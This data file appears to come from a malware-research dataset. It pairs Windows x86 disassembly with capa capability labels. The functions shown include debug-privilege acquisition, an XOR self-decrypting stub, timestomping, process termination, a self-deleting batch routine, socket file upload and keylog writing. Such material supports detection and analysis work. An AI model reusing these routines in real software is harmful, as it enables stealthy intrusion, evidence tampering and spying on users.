joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a908
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x424014]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
push esi
push edi
cmp edx, ebx
je 0x41a953
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0041aa6a
test al, al
jne 0x41a94d
sub edx, 2
cmp edx, ebx
jne 0x41a933
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x41a975
lea eax, [ebx + 2]
cmp edx, eax
je 0x41a975
push ecx
xor edi, edi
push edi
push edi
push ebx
call fcn.0041a854
add esp, 0x10
jmp 0x41aa5b
push esi
lea ecx, [ebp - 0x255]
call fcn.0041aa6a
sub edx, ebx
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor edi, edi
push edi
push edi
and eax, edx
push edi
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
mov eax, dword [ebp - 0x25c]
cmp esi, 0xffffffff
jne 0x41a9b9
push eax
jmp 0x41a965
mov ecx, dword [eax + 4]
sub ecx, dword [eax]
sar ecx, 2
push 0x2e
mov dword [ebp - 0x264], ecx
pop ecx
cmp word [ebp - 0x228], cx
jne 0x41a9ee
cmp word [ebp - 0x226], di
je 0x41aa09
cmp word [ebp - 0x226], cx
jne 0x41a9ee
cmp word [ebp - 0x224], di
je 0x41aa09
push eax
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push ebx
push eax
call fcn.0041a854
add esp, 0x10
test eax, eax
jne 0x41aa50
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
mov eax, dword [ebp - 0x25c]
pop ecx
jne 0x41a9ca
mov edx, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x264]
sub eax, edx
sar eax, 2
cmp ecx, eax
je 0x41aa52
push 0x41a61f
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0041f480
add esp, 0x10
jmp 0x41aa52
mov edi, eax
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040ae78
leave
ret

Function at 0x41b470
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x41b481
pop esi
ret
push ebx
push edi
push esi
call fcn.0041b439
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00416f5d
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41b4a9
push ebx
push esi
push edi
call fcn.0040d4d0
add esp, 0xc
push 0
call fcn.004155b0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x41b86d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0041b4be
Function at 0x41ffc5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041ff41
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x42013d
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x42013d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4200ec
jg 0x42001e
test eax, eax
je 0x4200e2
push 1
push 0x1000
call fcn.00415553
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x420044
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x4200d9
push 0x8000
push ebx
call fcn.00414b1b
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x420070
jg 0x42006b
cmp ecx, 0x1000
jb 0x420070
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004199a9
add esp, 0x10
cmp eax, 0xffffffff
je 0x4200b5
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x42006b
jl 0x42009c
test ecx, ecx
jne 0x42005d
push dword [ebp - 0xc]
push ebx
call fcn.00414b1b
push esi
call fcn.004155b0
add esp, 0xc
xor edi, edi
jmp 0x42014e
cmp byte [edi + 0x24], 0
je 0x4200cc
cmp dword [edi + 0x20], 5
jne 0x4200cc
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4200d7
mov edi, dword [edi + 0x18]
jmp 0x4200d9
xor edi, edi
push esi
call fcn.004155b0
pop ecx
jmp 0x42014e
test ecx, ecx
jg 0x4200ae
jl 0x4200ec
test eax, eax
jae 0x4200ae
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418539
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x42010f
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x4200ae
jmp 0x420146
push ebx
call fcn.0041a47b
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x4200ae
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x42014e
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x42014b
mov edi, dword [edi + 0x18]
jmp 0x42014e
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00418539
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x8d01b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.008d0140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.008d0140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.008d0140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.008d0140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x8d0bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x8d0c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x8e287c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x8d0c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x8d0c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x40111f
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
cmp dword [ebp + 0x10], 0
jle 0x40116a
push 0
push dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401152
cmp dword [ebp - 8], 0xffffffff
jne 0x401156
xor eax, eax
jmp 0x40116d
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 8]
mov dword [ebp + 0x10], eax
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x401128
push 1
pop eax
leave
ret

Function at 0x40116f
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0x10], 0
jne 0x40117e
xor eax, eax
jmp 0x4011c4
and dword [ebp - 4], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
jge 0x4011c1
push 0
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 4]
push eax
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x4011b2
cmp dword [ebp - 8], 0
jne 0x4011b6
xor eax, eax
jmp 0x4011c4
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x401182
push 1
pop eax
leave
ret

Function at 0x4011c6
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 1
push 4
lea eax, [ebp - 8]
push eax
call fcn.0041ecc0
add esp, 0xc
cmp dword [ebp + 0x14], 0
je 0x4011e7
cmp dword [ebp + 0x14], 1
jne 0x4011fa
push 1
push dword [ebp + 0x14]
lea eax, [ebp - 7]
push eax
call fcn.0041ecc0
add esp, 0xc
jmp 0x40120a
push 1
push 1
lea eax, [ebp - 7]
push eax
call fcn.0041ecc0
add esp, 0xc
push 4
push 0
lea eax, [ebp - 6]
push eax
call fcn.0041ecc0
add esp, 0xc
push 1
movsx eax, byte [ebp + 0xc]
push eax
lea eax, [ebp - 2]
push eax
call fcn.0041ecc0
add esp, 0xc
push 1
movsx eax, byte [ebp + 0x10]
push eax
lea eax, [ebp - 1]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0
push 8
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
cmp dword [ebp + 0x14], 1
jle 0x401278
push 1
push 0
lea eax, [ebp - 7]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0
push 8
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
leave
ret
Function at 0x40baef
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 0x4428f4
call dword [0x4e3534]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40bb85
push 0x4428fc
push 0x1000
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0xf001f
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0xc], eax
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.0041ee40
pop ecx
pop ecx
push 0
push 1
push 0x4c8
push dword [ebp - 4]
call dword [0x4e3580]
push 0
push 1
push 0x4c9
push dword [ebp - 4]
call dword [0x4e3580]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x40bb87
xor eax, eax
leave
ret

Function at 0x40bb89
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push 0
lea eax, [ebp - 0x10c]
push eax
push 0x104
push 0
push 0x442904
push 0
call dword [0x4e35e0]
test eax, eax
jne 0x40bbb8
jmp 0x40bc64
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xffffffff
je 0x40bc64
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0x80
push 3
push 0
push 2
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0xffffffff
je 0x40bc64
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 0x120]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x40bd35
Capabilities:
Check if file exists
Create process on windows
Get common file path
Get file attributes
Query environment variable
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x768
cmp dword [0x440900], 0
je 0x40bd58
cmp dword [0x4e35f8], 0
jne 0x40bd58
push 0
call fcn.0040a634
pop ecx
call fcn.0041da9e
lea eax, [ebp - 0x710]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x710]
push eax
push str._sdel.bat
lea eax, [ebp - 0x310]
push eax
call fcn.0041ee40
add esp, 0xc
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
jbe 0x40befc
lea eax, [ebp - 0x310]
push eax
push str._echo_off_r_n:repeat_r_ndel____1__r_nif_exist____1__goto_repeat_r_ndel___s_
lea eax, [ebp - 0x710]
push eax
call fcn.0041ee40
add esp, 0xc
push 0
lea eax, [ebp - 0x714]
push eax
lea eax, [ebp - 0x710]
push eax
call fcn.0041ec40
pop ecx
push eax
lea eax, [ebp - 0x710]
push eax
push dword [ebp - 0x20c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x20c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10
push 0
lea eax, [ebp - 0x768]
push eax
call fcn.0041ecc0
add esp, 0xc
push 0x44
push 0
lea eax, [ebp - 0x758]
push eax
call fcn.0041ecc0
add esp, 0xc
mov dword [ebp - 0x74c], 0x4dd91c
mov dword [ebp - 0x758], 0x44
mov dword [ebp - 0x72c], 1
and word [ebp - 0x728], 0
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40be95
push 0x80
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x310]
push eax
push str.__comspec____c__s__s
lea eax, [ebp - 0x710]
push eax
call fcn.0041ee40
add esp, 0x10
push 0x104
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x710]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x768]
push eax
lea eax, [ebp - 0x758]
push eax
push 0
push 0
push 0x4008
push 1
push 0
push 0
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
leave
ret
Function at 0x40df1b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov dword [ebp - 4], 0x400
and dword [ebp - 0x414], 0
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x40df58
jmp 0x40e022
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x40e013
push 0x400
push 0
lea eax, [ebp - 0x410]
push eax
call fcn.0041ecc0
add esp, 0xc
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x40df94
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
xor eax, eax
sub eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
push 2
push 0
push dword [ebp - 0x10]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea eax, [ebp - 0x414]
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
push dword [ebp - 4]
lea eax, [ebp - 0x410]
push eax
push dword [ebp + 8]
call dword [0x4e3574]
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0xffffffff
jne 0x40e002
call dword [0x4e34c4]
cmp eax, 0x2733
je 0x40dffb
jmp 0x40e013
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x418]
mov dword [ebp - 0xc], eax
jmp 0x40df66
cmp dword [ebp - 8], 0xffffffff
je 0x40e022
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret
Function at 0x40e6f4
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x554
push edi
and dword [ebp - 0x12c], 0
push 0x49
pop ecx
xor eax, eax
lea edi, [ebp - 0x128]
rep stosd dword es:[edi], eax
and dword [ebp - 0x554], 0
mov ecx, 0x88
xor eax, eax
lea edi, [ebp - 0x550]
rep stosd dword es:[edi], eax
cmp dword [0x4e3548], 0
je 0x40e911
cmp dword [0x4e352c], 0
je 0x40e911
cmp dword [0x4e345c], 0
je 0x40e911
push 1
push 0x4433a8
call fcn.0040e662
pop ecx
pop ecx
push 0
push 0xf
call dword [0x4e3548]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0xffffffff
je 0x40e903
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 0x130]
call dword [0x4e352c]
test eax, eax
je 0x40e8f7
lea eax, [ebp - 0x12c]
push eax
push dword [ebp - 0x130]
call dword [0x4e345c]
test eax, eax
je 0x40e8f7
cmp dword [ebp + 0x18], 0
je 0x40e7c5
jmp 0x40e8f2
cmp dword [ebp + 0x14], 0
jne 0x40e89a
cmp dword [ebp + 0xc], 0
je 0x40e898
push dword [ebp - 0x124]
push 8
call dword [0x4e3548]
mov dword [ebp - 4], eax
mov dword [ebp - 0x554], 0x224
cmp dword [ebp + 0x1c], 0
je 0x40e854
lea eax, [ebp - 0x554]
push eax
push dword [ebp - 4]
call dword [0x4e3414]
test eax, eax
je 0x40e831
push dword [ebp - 0x124]
lea eax, [ebp - 0x434]
push eax
push 0x4433bc
lea eax, [ebp - 0x330]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x40e852
push dword [ebp - 0x124]
lea eax, [ebp - 0x108]
push eax
push 0x4433c8
lea eax, [ebp - 0x330]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x40e875
push dword [ebp - 0x124]
lea eax, [ebp - 0x108]
push eax
push str.__s___d_
lea eax, [ebp - 0x330]
push eax
call fcn.0041ee40
add esp, 0x10
push 1
push dword [ebp + 0x10]
lea eax, [ebp - 0x330]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040bf6c
add esp, 0x14
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40e8f2
push dword [ebp + 0x14]
lea eax, [ebp - 0x108]
push eax
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x40e8f2
push dword [ebp - 0x124]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40e8ed
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x40e913
push 1
pop eax
jmp 0x40e913
jmp 0x40e79f
push dword [ebp - 0x130]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push str.SeDebugPrivilege
call fcn.0040e662
pop ecx
pop ecx
xor eax, eax
pop edi
leave
ret

Function at 0x40ea24
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov dword [ebp - 4], 1
push dword [ebp + 8]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x40ea65
push 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x40ea65
and dword [ebp - 4], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
leave
ret
Function at 0x411625
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, dword [ebp + 8]
jne 0x411638
xor al, al
jmp 0x411679
push dword [ebp + 8]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x411652
xor al, al
jmp 0x411679
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x41166e
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x411679
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
leave
ret
Function at 0x411eeb
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
or dword [ebp - 0xc], 0xffffffff
and dword [ebp - 0x10], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
jmp 0x411f17
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
dec ecx
mov dword [ebp - 4], ecx
test eax, eax
je 0x411f48
mov eax, dword [ebp - 0xc]
shr eax, 8
mov ecx, dword [ebp - 8]
movsx ecx, byte [ecx]
mov edx, dword [ebp - 0xc]
xor edx, ecx
and edx, 0xff
xor eax, dword [edx*4 + 0x43d368]
mov dword [ebp - 0xc], eax
jmp 0x411f10
mov eax, dword [ebp - 0xc]
not eax
leave
ret
Function at 0x415014
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a0
lea eax, [ebp - 0x1a0]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [0x4e2fe4], eax
mov word [ebp - 0x10], 2
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
push dword [ebp + 0xc]
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
push 0x10
lea eax, [ebp - 0x10]
push eax
push dword [0x4e2fe4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x41508c
push dword [0x4e2fe4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x41508f
push 1
pop eax
leave
ret

Function at 0x415091
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x508
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x444d28
lea eax, [ebp - 0x108]
push eax
call fcn.004200d0
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x4150ce
xor eax, eax
jmp 0x415136
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
and eax, 0x10
test eax, eax
jne 0x415118
push dword [ebp - 4]
push 1
push 0x400
lea eax, [ebp - 0x508]
push eax
call fcn.00423160
add esp, 0x10
push 0
push 0x400
lea eax, [ebp - 0x508]
push eax
push dword [0x4e2fe4]
call dword [sym.imp.WS2_32.dll_send]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4150ce
push dword [ebp - 4]
call fcn.0041fd40
pop ecx
push dword [0x4e2fe4]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 1
pop eax
leave
ret

Function at 0x4158fc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x104
lea eax, [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x44563c
lea eax, [ebp - 0x318]
push eax
call fcn.00420140
pop ecx
pop ecx
push str.systemk0m.kpn
lea eax, [ebp - 0x318]
push eax
call fcn.00420140
pop ecx
pop ecx
push 0x445640
lea eax, [ebp - 0x318]
push eax
call fcn.004200d0
pop ecx
pop ecx
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0
jne 0x41596e
push 1
pop eax
jmp 0x4159ed
push dword [ebp + 8]
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0xa]
push eax
movzx eax, word [ebp - 0xe]
push eax
push str.__d__d__d__d:_d:_d___s_r_n
push dword [ebp - 0x214]
call fcn.0041f8c0
add esp, 0x24
push dword [ebp - 0x214]
call fcn.0041fd40
pop ecx
cmp dword [ebp + 0x58], 0
jne 0x4159eb
push dword [ebp + 8]
push str._KEYLOG_:__s
push 0x200
lea eax, [ebp - 0x210]
push eax
call fcn.0041f000
add esp, 0x10
push 0
push dword [ebp + 0x54]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
xor eax, eax
leave
ret